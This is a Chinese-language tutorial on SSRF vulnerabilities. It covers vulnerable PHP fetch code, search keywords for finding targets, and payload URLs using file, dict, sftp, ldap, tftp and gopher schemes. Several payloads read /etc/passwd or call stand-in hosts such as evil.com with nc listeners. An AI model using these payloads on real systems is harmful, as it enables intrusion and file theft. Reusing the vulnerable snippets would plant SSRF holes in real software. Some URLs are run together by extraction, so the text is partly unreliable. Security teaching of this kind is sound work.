0x13 SSRF漏洞#

1
    通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览:由于手机屏幕大小的关系，直接浏览网页内容的时候会造成许多不便，因此有些公司提供了转码功能，把网页内容通过相关手段转为适合手机屏幕浏览的样式。例如百度、腾讯、搜狗等公司都有提供在线转码服务。

1
通过URL地址翻译对应文本的内容。提供此功能的国内公司有百度、有道等。

1
  此处的图片、文章收藏中的文章收藏就类似于分享功能中获取URL地址中title以及文本的内容作为显示，目的还是为了更好的用户体验，而图片收藏就类似于功能四、图片加载。
2

3
  http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de

1
此处类似的功能有360提供的网站评分，以及有些网站通过api获取远程地址xml文件来加载内容。

1
  通过URL地址加载或下载图片，图片加载远程图片地址此功能用到的地方很多，但大多都是比较隐秘，比如在有些公司中的加载自家图片服务器上的图片用于展示。
2

3
  (此处可能会有人有疑问，为什么加载图片服务器上的图片也会有问题，直接使用img标签不就好了?没错是这样，但是开发者为了有更好的用户体验通常对图片做些微小调整例水印、压缩等所以就可能造成SSRF问题)。

1
利用google语法加上这些关键字去寻找SSRF漏洞
2

3
share
4
wap
5
url
6
link
7
src
8
source
9
target
10
u
11
display
12
sourceURl
13
imageURL
14
domain

1
简单来说：所有目标服务器会从自身发起请求的功能点，且我们可以控制地址的参数，都可能造成SSRF漏洞

1
下面的代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上，并展示给用户。

1
<?php
2
if (isset($_POST['url']))
3
{
4
$content = file_get_contents($_POST['url']);
5
$filename ='./images/'.rand().';img1.jpg';
6
file_put_contents($filename, $content);
7
echo $_POST['url'];
8
$img = "<img src=\"".$filename."\"/>";
9
}
10
echo $img;
11
?>

1
以下代码使用fsockopen函数实现获取用户制定url的数据（文件或者html）。这个函数会使用socket跟服务器建立tcp连接，传输原始数据。

1
<?php
2
function GetFile($host,$port,$link)
3
{
4
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
5
if (!$fp) {
6
echo "$errstr (error number $errno) \n";
7
} else {
8
$out = "GET $link HTTP/1.1\r\n";
9
$out .= "Host: $host\r\n";
10
$out .= "Connection: Close\r\n\r\n";
11
$out .= "\r\n";
12
fwrite($fp, $out);
13
$contents='';
14
while (!feof($fp)) {
15
$contents.= fgets($fp, 1024);
16
}
17
fclose($fp);
18
return $contents;
19
}
20
}
21
?>

1
CURL这是另一个非常常见的实现，它通过PHP获取数据。文件/数据被下载并存储在“curled”文件夹下的磁盘中，并附加了一个随机数和“.txt”文件扩展名。

1
<?php
2
if (isset($_POST['url']))
3
{
4
$link = $_POST['url'];
5
$curlobj = curl_init();
6
curl_setopt($curlobj, CURLOPT_POST, 0);
7
curl_setopt($curlobj,CURLOPT_URL,$link);
8
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
9
$result=curl_exec($curlobj);
10
curl_close($curlobj);
11

12
$filename = './curled/'.rand().'.txt';
13
file_put_contents($filename, $result);
14
echo $result;
15
}
16
?>

1
一般情况下PHP不会开启fopen的gopher wrapper
2

3
file_get_contents的gopher协议不能URL编码
4

5
file_get_contents关于Gopher的302跳转会出现bug，导致利用失败
6

7
curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
8
curl_exec() 默认不跟踪跳转
9

10
file_get_contents() file_get_contents支持php://input协议

1
这种URL Schema可以尝试从文件系统中获取文件：
2

3
http://example.com/ssrf.php?url=file:///etc/passwdhttp://example.com/ssrf.php?url=file:///C:/Windows/win.ini
4

5
如果该服务器阻止对外部站点发送HTTP请求，或启用了白名单防护机制，只需使用如下所示的URL Schema就可以绕过这些限制：

1
这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表：
2

3
http://example.com/ssrf.php?dict://evil.com:1337/
4
evil.com:$ nc -lvp 1337
5
Connection from [192.168.0.12] port 1337[tcp/*]
6
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0

1
  在这里，Sftp代表SSH文件传输协议（SSH File Transfer Protocol），或安全文件传输协议（Secure File Transfer Protocol），这是一种与SSH打包在一起的单独协议，它运行在安全连接上，并以类似的方式进行工作。
2

3
http://example.com/ssrf.php?url=sftp://evil.com:1337/
4
evil.com:$ nc -lvp 1337
5
Connection from [192.168.0.12] port 1337[tcp/*]
6
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2

1
LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。
2

3
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

1
TFTP（Trivial File Transfer Protocol,简单文件传输协议）是一种简单的基于lockstep机制的文件传输协议，它允许客户端从远程主机获取文件或将文件上传至远程主机。
2

3
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
4
evil.com:# nc -lvup 1337
5
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3

1
Gopher是一种分布式文档传递服务。利用该服务，用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。
2

3
http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>
4
evil.com:# nc -lvp 1337
5
Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest